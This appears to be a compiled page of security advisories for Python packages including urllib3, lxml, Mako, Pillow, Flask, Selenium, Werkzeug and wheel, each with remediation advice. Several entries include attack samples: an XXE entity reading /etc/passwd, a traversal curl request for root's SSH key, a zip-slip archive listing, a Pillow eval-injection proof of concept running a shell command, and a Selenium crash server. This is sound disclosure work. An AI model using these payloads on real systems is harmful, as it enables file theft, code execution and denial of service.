Find, fix and prevent vulnerabilities in your code.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling during the decompression of compressed response data. An attacker can cause excessive CPU and memory consumption by sending responses with a large number of chained compression steps.

Workaround

This vulnerability can be avoided by setting preload_content=False and ensuring that resp.headers["content-encoding"] are limited to a safe quantity before reading.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade urllib3 to version 2.6.0 or higher.

References

• GitHub Commit

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the Streaming API. The ContentDecoder class can be forced to allocate disproportionate resources when processing a single chunk with very high compression, such as via the stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), and readinto(b) functions.

Note: It is recommended to patch Brotli dependencies (upgrade to at least 1.2.0) if they are installed outside of urllib3 as well, to avoid other instances of the same vulnerability.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade urllib3 to version 2.6.0 or higher.

References

• GitHub Commit

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) via the streaming API when handling HTTP redirects. An attacker can cause excessive resource consumption by serving a specially crafted compressed response that triggers decompression of large amounts of data before any read limits are enforced.

Note: This is only exploitable if content is streamed from untrusted sources with redirects enabled.

Workaround

This vulnerability can be mitigated by disabling redirects by setting redirect=False for requests to untrusted sources.

Remediation

Upgrade urllib3 to version 2.6.3 or higher.

References

• GitHub Commit

Overview

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection via the iterparse or ETCompatXMLParser functions when resolve_entities is set to allow external entities. An attacker can access local files by providing crafted XML input containing external entity references.

Workaround

This vulnerability can be mitigated by explicitly setting the resolve_entities option to resolve_entities='internal' or resolve_entities=False.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

Remediation

Upgrade lxml to version 6.1.0 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release
• Launchpad Bug

Overview

Affected versions of this package are vulnerable to Directory Traversal in the get_template function on Windows systems due to improper normalization of backslash characters in URIs. An attacker can access and read files outside the intended template directory by supplying specially crafted template names containing backslash traversal sequences.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

• Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

• Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade Mako to version 1.3.12 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Issue
• GitHub Release

Overview

Affected versions of this package are vulnerable to Directory Traversal via the get_template() function. An attacker can access arbitrary files readable by the process by supplying a specially crafted URI with a double-slash prefix, which bypasses path normalization checks.

Note:

This is exploitable at the library API level. HTTP-based exploitation is mitigated by Python's BaseHTTPRequestHandler which normalizes double-slash prefixes since CPython gh-87389. Applications using other HTTP servers that do not normalize paths may be affected.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

• Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

• Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade Mako to version 1.3.11 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Issue

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in urlopen() when using ProxyManager.connection_from_url() with assert_same_host=False, directly rather than via the high-level APIs including urllib3.request(), PoolManager.request(), and ProxyManager.request(). An attacker can expose headers such as Authorization, Cookie, and Proxy-Authorization by triggering cross-origin redirects, which does not properly invoke remove_headers_on_redirect.

Remediation

Upgrade urllib3 to version 2.7.0 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

Affected versions of this package are vulnerable to Eval Injection via the PIL.ImageMath.eval function when an attacker has control over the keys passed to the environment argument.

PoC

from PIL import Image, ImageMath

image1 = Image.open('__class__')
image2 = Image.open('__bases__')
image3 = Image.open('__subclasses__')
image4 = Image.open('load_module')
image5 = Image.open('system')

expression = "().__class__.__bases__[0].__subclasses__()[104].load_module('os').system('whoami')"

environment = {
    image1.filename: image1,
    image2.filename: image2,
    image3.filename: image3,
    image4.filename: image4,
    image5.filename: image5
}

ImageMath.eval(expression, **environment)

Remediation

Upgrade pillow to version 10.2.0 or higher.

References

• GitHub Commit
• GitHub Release
• Security Advisory

Overview

Affected versions of this package are vulnerable to Information Exposure in the form of exposing the permanent session cookie, when all of the following conditions are met:

1. The application is hosted behind a caching proxy that does not strip cookies or ignore responses with cookies.

2. The application sets session.permanent = True.

3. The application does not access or modify the session at any point during a request.

4. SESSION_REFRESH_EACH_REQUEST is enabled (the default).

5. The application does not set a Cache-Control header to indicate that a page is private or should not be cached.

A response containing data intended for one client may be cached and sent to other clients. If the proxy also caches Set-Cookie headers, it may send one client's session cookie to other clients. Under these conditions, the Vary: Cookie header is not set when a session is refreshed (re-sent to update the expiration) without being accessed or modified.

Remediation

Upgrade flask to version 2.2.5, 2.3.2 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub PR
• GitHub Release
• GitHub Release
• Session Cookie Documentation

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) when using arbitrary strings as text input and the number of characters passed into PIL.ImageFont.ImageFont.getmask() is over a certain limit. This can lead to a system crash.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade pillow to version 10.2.0 or higher.

References

• GitHub Commit
• Pillow Release Notes

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) if the size of individual glyphs extends beyond the bitmap image, when using PIL.ImageFont.ImageFont function. Exploiting this vulnerability could lead to a system crash.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade pillow to version 10.2.0 or higher.

References

• GitHub Commit
• Pillow Release Notes

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the getrgb function.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade Pillow to version 8.3.2 or higher.

References

• GitHub Commit
• Pillow Release Notes

Overview

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') when the ImageFont truetype in an ImageDraw instance operates on a long text argument. An attacker can cause the service to crash by processing a task that uncontrollably allocates memory.

Remediation

Upgrade pillow to version 10.0.0 or higher.

References

• GitHub Commit
• GitHub PR

Overview

selenium is a Python language bindings for Selenium WebDriver

Affected versions of this package are vulnerable to NULL Pointer Dereference due to an insufficient check on CookieWndProc function. An attacker can cause the application to crash by sending specially crafted data that triggers this condition.

PoC

Attacker Server Code

from http.server import BaseHTTPRequestHandler, HTTPServer
from datetime import datetime, timedelta

class CustomHTTPRequestHandler(BaseHTTPRequestHandler):

    def do_GET(self):
        # Send response status code
        self.send_response(200)

        # Send headers
        self.send_header('Content-type', 'text/html')
        # Set the cookie expiration to one day in the future
        expiration_date = (datetime.utcnow() + timedelta(days=1)).strftime('%a, %d %b %Y %H:%M:%S GMT')
        
        well_formed_cookie = f"cookie_name=cookie_value; Domain=127.0.0.1; Path=/; HttpOnly; Expires={expiration_date};"
        self.send_header('Set-Cookie', well_formed_cookie)

        malicious_cookie = f"cookie_name2" #crash
        self.send_header('Set-Cookie', malicious_cookie)

        self.end_headers()

        # Send message back to client
        message = "Hello world!"
        self.wfile.write(bytes(message, "utf8"))
        return

def run():
    print('Starting server...')
    server_address = ('127.0.0.1', 8090)
    httpd = HTTPServer(server_address, CustomHTTPRequestHandler)
    print('Server is running...')
    httpd.serve_forever()

run()

Example Victim Code

from selenium import webdriver
import logging
import time

handler = logging.FileHandler("sel.log")
logger = logging.getLogger('selenium')
logging.basicConfig(level=logging.DEBUG)
logger.setLevel(logging.DEBUG)
logger.addHandler(handler)

options = webdriver.IeOptions()
options.ignore_zoom_level = True
options.ignore_protected_mode_settings = True
options.attach_to_edge_chrome = True
options.initial_browser_url = 'https://selenium.dev'
service = webdriver.IeService(log_file="ie.log", log_level='DEBUG')
driver = webdriver.Ie(options=options,service=service)

driver.set_page_load_timeout(20)
print("Getting the page: ")

try:
    driver.get("http://127.0.0.1:8090/")
except Exception as e:
    print(e)

print("Got the page!")
print("Get Cookies: ")
cookies = driver.get_cookies()
print(cookies)
time.sleep(3)
driver.quit()

Remediation

Upgrade selenium to version 4.15.1 or higher.

References

• GitHub Commit

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) when parsing multipart form data. An attacker can trigger the opening of multipart files containing a large number of file parts, which are processed using request.data, request.form, request.files, or request.get_data(parse_form_data=False), consuming CPU, memory, or file handles resources. The amount of CPU time required can block worker processes from handling other requests. The amount of RAM required can trigger an out-of-memory and crash the process.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade werkzeug to version 2.2.3 or higher.

References

• GitHub Commit
• GitHub Release

Overview

Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to insufficient hostname checks and the use of relative paths to resolve requests. When the debugger is enabled, an attacker can convince a user to enter their own PIN to interact with a domain and subdomain they control, and thereby cause malicious code to be executed.

The demonstrated attack vector requires a number of conditions that render this attack very difficult to achieve, especially if the victim application is running in the recommended configuration of not having the debugger enabled in production.

Remediation

Upgrade werkzeug to version 3.0.3 or higher.

References

• GitHub Commit
• GitHub Release

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via attacker-controlled input to Wheel CLI, when parsing a maliciously crafted Wheel file.

Note:Version 0.38.0 has been yanked due to an unrelated non-security issue. Users are advised to upgrade to version 0.38.1.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade wheel to version 0.38.0 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Release
• Pyup Blog
• Vulnerable Code